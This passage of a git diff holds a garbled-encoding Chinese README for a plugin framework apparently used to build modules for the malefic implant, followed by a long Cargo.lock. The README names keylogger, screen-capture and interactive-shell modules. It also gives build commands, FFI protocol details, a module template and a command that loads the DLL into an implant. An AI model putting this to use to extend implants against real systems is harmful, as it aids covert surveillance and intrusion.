**æµå¼ä¸Šä¼ ** | recv 多次 (UploadRequest + Block×N), send 中间 ack | upload | +| **æµå¼ä¸‹è½½** | recv 请求, send 多次 chunk | download | +| **Module æŒç»­æŽ¨é€** | 无需 input, æŒç»­ send | keylogger, screen capture | +| **Host æŒç»­æŽ¨é€** | æŒç»­ recv, 最终 return 汇总 | æ•°æ®æ”¶é›† | +| **åŒå‘æŒç»­** | æŒç»­ recv + send 交替 | äº¤äº’å¼ shell | + +### å†…å­˜æ‰€æœ‰æƒ + +| æ–¹å‘ | åˆ†é…æ–¹ | 释放方 | 机制 | +|------|--------|--------|------| +| `ch.send()` (module→host) | Module | Module (回调返回åŽ) | Host 在 bridge_send 内å¤åˆ¶ | +| `ch.recv()` (host→module) | Host | Module è°ƒ host_free | bridge_host_free é‡å»º Vec drop | +| `final_out` (module→host) | Module (RtBuffer::from_vec) | Host è°ƒ rt_free | å„自 allocator 释放 | + +**æ— è·¨ allocator 释放,纯 C ABI,跨 Rust 版本安全。** + +## Feature 按需加载 + +通过 Cargo feature 控制编译哪些模å—,未å¯ç”¨çš„æ¨¡å—ä¸ä¼šç¼–译进产物。 + +```toml +[features] +full = ["rust_module", "golang_module", "c_module", "zig_module", "nim_module"] + +rust_module = ["malefic-3rd-rust"] +golang_module = ["malefic-3rd-go"] +c_module = ["malefic-3rd-c"] +zig_module = ["malefic-3rd-zig"] +nim_module = ["malefic-3rd-nim"] +``` + +### 选择性构建 + +```bash +# å…¨éƒ¨æ¨¡å— +cargo build --target x86_64-pc-windows-gnu --release + +# åªè¦ Rust + Go +cargo build --target x86_64-pc-windows-gnu --no-default-features \ + --features "as_cdylib,rust_module,golang_module" --release + +# åªè¦ C + Zig +cargo build --target x86_64-pc-windows-gnu --no-default-features \ + --features "as_cdylib,c_module,zig_module" --release +``` + +## 外语 FFI åè®® + +æ‰€æœ‰éž Rust 语言模å—éµå¾ªç›¸åŒçš„ C ABI handler å议: + +| 导出函数 | ç­¾å | 说明 | +|----------|------|------| +| `XxxModuleName()` | `() -> *const char` | 返回模å—å | +| `XxxModuleHandle()` | `(task_id, req_data, req_len, &resp_data, &resp_len) -> int` | åŒæ­¥å¤„ç†è¯·æ±‚ | + +- 请求/å“应使用 protobuf åºåˆ—化(C/Zig/Nim 用 nanopb,Go 用 protobuf-go) +- å“应 buffer 由模å—ä¾§ `malloc` 分é…,Rust 侧通过 `free()` 释放 +- Go 模å—é¢å¤–支æŒåŒå‘æµå¼é€šä¿¡ï¼ˆSend/Recv/CloseInput) + +外语 handler 通过 `ffi_handler_loop()` 桥接到 `RtModule::run()` å议: + +``` +外语 handler æ•°æ®é“¾è·¯: + + RtChannel.recv() + ↓ è§£ç  Body::Request + ↓ encode_request() → protobuf bytes + ↓ XxxModuleHandle(task_id, req_bytes) → resp_bytes + ↓ decode_response(resp_bytes) + ↓ 缓冲上一个结果 + RtChannel.send(上一个结果) ↠中间å“应 + ↓ 循环直到 EOF + return Done(最åŽä¸€ä¸ªç»“æžœ) ↠最终å“应 +``` + +### Protobuf å议(模å—使用的核心消æ¯ï¼‰ + +```protobuf +message Request { + string name = 1; + string input = 2; + repeated string args = 3; + map params = 4; + bytes bin = 5; +} + +message Response { + string output = 1; + string error = 2; + map kv = 3; + repeated string array = 4; +} +``` + +## æ·»åŠ æ–°æ¨¡å— + +### Rust æ¨¡å— + +```rust +// malefic-3rd-xxx/src/lib.rs +use malefic_3rd_ffi::*; + +pub struct MyModule; + +impl RtModule for MyModule { + fn name() -> &'static str { "my_module" } + fn new() -> Self { Self } + + fn run(&mut self, task_id: u32, ch: &RtChannel) -> RtResult { + let body = ch.recv().map_err(|e| RtResult::Error(e.to_string()))?; + // 处ç†... + RtResult::Done(Body::Response(Response { + output: "result".into(), + ..Default::default() + })) + } +} +``` + +### C / Zig / Nim æ¨¡å— + +```rust +// malefic-3rd-xxx/src/lib.rs +use malefic_3rd_ffi::*; + +extern "C" { + fn XxxModuleName() -> *const c_char; + fn XxxModuleHandle(task_id: c_uint, ...) -> c_int; +} + +pub struct XxxModule { name: String } + +impl RtModule for XxxModule { + fn name() -> &'static str { "xxx_module" } + fn new() -> Self { + Self { name: unsafe { ffi_module_name(XxxModuleName, false) } } + } + fn run(&mut self, id: u32, ch: &RtChannel) -> RtResult { + ffi_handler_loop(id, ch, XxxModuleHandle, "XxxModuleHandle") + } +} +``` + +### 注册 + +1. 创建 `malefic-3rd-xxx/` crate +2. æ ¹ `Cargo.toml` 添加 feature + optional dependency +3. `src/lib.rs` çš„ `build_registry()` 中添加: + +```rust +#[cfg(feature = "xxx_module")] +v.push(RtModuleDescriptor { + name_fn: malefic_3rd_xxx::XxxModule::name, + constructor: || Box::new(malefic_3rd_xxx::XxxModule::new()), +}); +``` + +## 构建与测试 + +```bash +# 构建(全部模å—) +cargo build --target x86_64-pc-windows-gnu --features full --release + +# 测试 +cargo test --target x86_64-pc-windows-gnu --features full -- --nocapture + +# 加载到 implant +load_module --path target/x86_64-pc-windows-gnu/release/malefic_3rd.dll +``` + +## 跨版本兼容性 + +æ¨¡å— DLL å¯ä»¥ç”¨**ä¸åŒçš„ Rust 版本**或**ä¸åŒçš„ target(msvc/gnu)**ç¼–è¯‘ï¼ŒåŠ è½½åˆ°ç”¨ä»»æ„ Rust 版本编译的 host 中。已验è¯ï¼š + +- rustc 1.81 / 1.82 / 1.93 +- x86_64-pc-windows-msvc / x86_64-pc-windows-gnu +- msvc host 加载 gnu DLL,gnu host 加载 msvc DLL diff --git a/malefic-3rd-template/malefic-3rd-c/Cargo.lock b/malefic-3rd-template/malefic-3rd-c/Cargo.lock new file mode 100644 index 0000000..2c3aee5 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/Cargo.lock @@ -0,0 +1,1097 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "aes" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "aho-corasick" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" +dependencies = [ + "memchr", +] + +[[package]] +name = "allocator-api2" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "anyhow" +version = "1.0.101" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f0e0fee31ef5ed1ba1316088939cea399010ed7731dba877ed44aeb407a75ea" + +[[package]] +name = "async-trait" +version = "0.1.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "autocfg" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" + +[[package]] +name = "bitflags" +version = "2.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3" + +[[package]] +name = "bumpalo" +version = "3.19.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5dd9dc738b7a8311c7ade152424974d8115f2cdad61e8dab8dac9f2362298510" + +[[package]] +name = "bytes" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a" + +[[package]] +name = "cc" +version = "1.2.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aebf35691d1bfb0ac386a69bac2fde4dd276fb618cf8bf4f5318fe285e821bb2" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "chrono" +version = "0.4.43" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fac4744fb15ae8337dc853fee7fb3f4e48c0fbaa23d0afe49c447b4fab126118" +dependencies = [ + "iana-time-zone", + "num-traits", + "windows-link", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "cron" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5877d3fbf742507b66bc2a1945106bd30dd8504019d596901ddd012a4dd01740" +dependencies = [ + "chrono", + "once_cell", + "winnow", +] + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "ctr" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" +dependencies = [ + "cipher", +] + +[[package]] +name = "either" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys", +] + +[[package]] +name = "fastrand" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "fixedbitset" +version = "0.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d674e81391d1e1ab681a28d99df07927c6d4aa5b027d7da16ba32d1d21ecd99" + +[[package]] +name = "foldhash" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" + +[[package]] +name = "futures" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" + +[[package]] +name = "futures-executor" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" + +[[package]] +name = "futures-macro" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "futures-sink" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" + +[[package]] +name = "futures-task" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" + +[[package]] +name = "futures-util" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4bb6743198531e02858aeaea5398fcc883e71851fcbcb5a2f773e2fb6cb1edf2" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "getrandom" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "139ef39800118c7683f2fd3c98c1b23c09ae076556b435f8e9064ae108aaeeec" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "wasip2", + "wasip3", +] + +[[package]] +name = "hashbrown" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" +dependencies = [ + "allocator-api2", + "equivalent", + "foldhash", +] + +[[package]] +name = "hashbrown" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "iana-time-zone" +version = "0.1.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "log", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "id-arena" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954" + +[[package]] +name = "indexmap" +version = "2.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7714e70437a7dc3ac8eb7e6f8df75fd8eb422675fc7678aff7364301092b1017" +dependencies = [ + "equivalent", + "hashbrown 0.16.1", + "serde", + "serde_core", +] + +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "generic-array", +] + +[[package]] +name = "itertools" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b192c782037fadd9cfa75548310488aabdbf3d2da73885b31bd0abd03351285" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92ecc6618181def0457392ccd0ee51198e065e016d1d527a7ac1b6dc7c1f09d2" + +[[package]] +name = "js-sys" +version = "0.3.85" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8c942ebf8e95485ca0d52d97da7c5a2c387d0e7f0ba4c35e93bfcaee045955b3" +dependencies = [ + "once_cell", + "wasm-bindgen", +] + +[[package]] +name = "leb128fmt" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09edd9e8b54e49e587e4f6295a7d29c3ea94d469cb40ab8ca70b288248a81db2" + +[[package]] +name = "libc" +version = "0.2.182" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6800badb6cb2082ffd7b6a67e6125bb39f18782f793520caee8cb8846be06112" + +[[package]] +name = "linux-raw-sys" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df1d3c3b53da64cf5760482273a98e575c651a67eec7f77df96b5b642de8f039" + +[[package]] +name = "log" +version = "0.4.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" + +[[package]] +name = "malefic-3rd-c" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "bytes", + "cc", + "crypto-common", + "futures", + "getrandom 0.2.16", + "hashbrown 0.15.5", + "malefic-proto", + "malefic-trait", + "prost", +] + +[[package]] +name = "malefic-proto" +version = "0.1.0" +source = "git+https://github.com/chainreactors/malefic?tag=v0.1.2#54cf570fb7a6438892ca8c13e15f854e7ad503c3" +dependencies = [ + "aes", + "anyhow", + "async-trait", + "cfg-if", + "chrono", + "cron", + "ctr", + "futures-channel", + "nanorand", + "prost", + "prost-build", + "snap", + "thiserror", +] + +[[package]] +name = "malefic-trait" +version = "0.1.1" +source = "git+https://github.com/chainreactors/malefic?tag=v0.1.2#54cf570fb7a6438892ca8c13e15f854e7ad503c3" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "memchr" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" + +[[package]] +name = "multimap" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d87ecb2933e8aeadb3e3a02b828fed80a7528047e68b4f424523a0981a3a084" + +[[package]] +name = "nanorand" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3" + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "once_cell" +version = "1.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" + +[[package]] +name = "petgraph" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8701b58ea97060d5e5b155d383a69952a60943f0e6dfe30b04c287beb0b27455" +dependencies = [ + "fixedbitset", + "hashbrown 0.15.5", + "indexmap", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "prettyplease" +version = "0.2.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" +dependencies = [ + "proc-macro2", + "syn", +] + +[[package]] +name = "proc-macro2" +version = "1.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "prost" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2ea70524a2f82d518bce41317d0fae74151505651af45faf1ffbd6fd33f0568" +dependencies = [ + "bytes", + "prost-derive", +] + +[[package]] +name = "prost-build" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "343d3bd7056eda839b03204e68deff7d1b13aba7af2b2fd16890697274262ee7" +dependencies = [ + "heck", + "itertools", + "log", + "multimap", + "petgraph", + "prettyplease", + "prost", + "prost-types", + "regex", + "syn", + "tempfile", +] + +[[package]] +name = "prost-derive" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27c6023962132f4b30eb4c172c91ce92d933da334c59c23cddee82358ddafb0b" +dependencies = [ + "anyhow", + "itertools", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "prost-types" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8991c4cbdb8bc5b11f0b074ffe286c30e523de90fee5ba8132f1399f23cb3dd7" +dependencies = [ + "prost", +] + +[[package]] +name = "quote" +version = "1.0.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21b2ebcf727b7760c461f091f9f0f539b77b8e87f2fd88131e7f1b433b3cece4" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "regex" +version = "1.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e10754a14b9137dd7b1e3e5b0493cc9171fdd105e0ab477f51b72e7f3ac0e276" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e1dd4122fc1595e8162618945476892eefca7b88c52820e74af6262213cae8f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a96887878f22d7bad8a3b6dc5b7440e0ada9a245242924394987b21cf2210a4c" + +[[package]] +name = "rustix" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "146c9e247ccc180c1f61615433868c99f3de3ae256a30a43b49f67c2d9171f34" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys", +] + +[[package]] +name = "rustversion" +version = "1.0.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" + +[[package]] +name = "semver" +version = "1.0.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d767eb0aabc880b29956c35734170f26ed551a859dbd361d140cdbeca61ab1e2" + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.149" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "snap" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b6b67fb9a61334225b5b790716f609cd58395f895b3fe8b328786812a40bc3b" + +[[package]] +name = "syn" +version = "2.0.115" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e614ed320ac28113fa64972c4262d5dbc89deacdfd00c34a3e4cea073243c12" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.25.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0136791f7c95b1f6dd99f9cc786b91bb81c3800b639b3478e561ddb7be95e5f1" +dependencies = [ + "fastrand", + "getrandom 0.4.1", + "once_cell", + "rustix", + "windows-sys", +] + +[[package]] +name = "thiserror" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "typenum" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "562d481066bde0658276a35467c4af00bdc6ee726305698a55b86e61d7ad82bb" + +[[package]] +name = "unicode-ident" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "537dd038a89878be9b64dd4bd1b260315c1bb94f4d784956b81e27a088d9a09e" + +[[package]] +name = "unicode-xid" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasip2" +version = "1.0.2+wasi-0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9517f9239f02c069db75e65f174b3da828fe5f5b945c4dd26bd25d89c03ebcf5" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasip3" +version = "0.4.0+wasi-0.3.0-rc-2026-01-06" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5428f8bf88ea5ddc08faddef2ac4a67e390b88186c703ce6dbd955e1c145aca5" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasm-bindgen" +version = "0.2.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64024a30ec1e37399cf85a7ffefebdb72205ca1c972291c51512360d90bd8566" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "008b239d9c740232e71bd39e8ef6429d27097518b6b30bdf9086833bd5b6d608" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5256bae2d58f54820e6490f9839c49780dff84c65aeab9e772f15d5f0e913a55" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f01b580c9ac74c8d8f0c0e4afb04eeef2acf145458e52c03845ee9cd23e3d12" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "wasm-encoder" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "990065f2fe63003fe337b932cfb5e3b80e0b4d0f5ff650e6985b1048f62c8319" +dependencies = [ + "leb128fmt", + 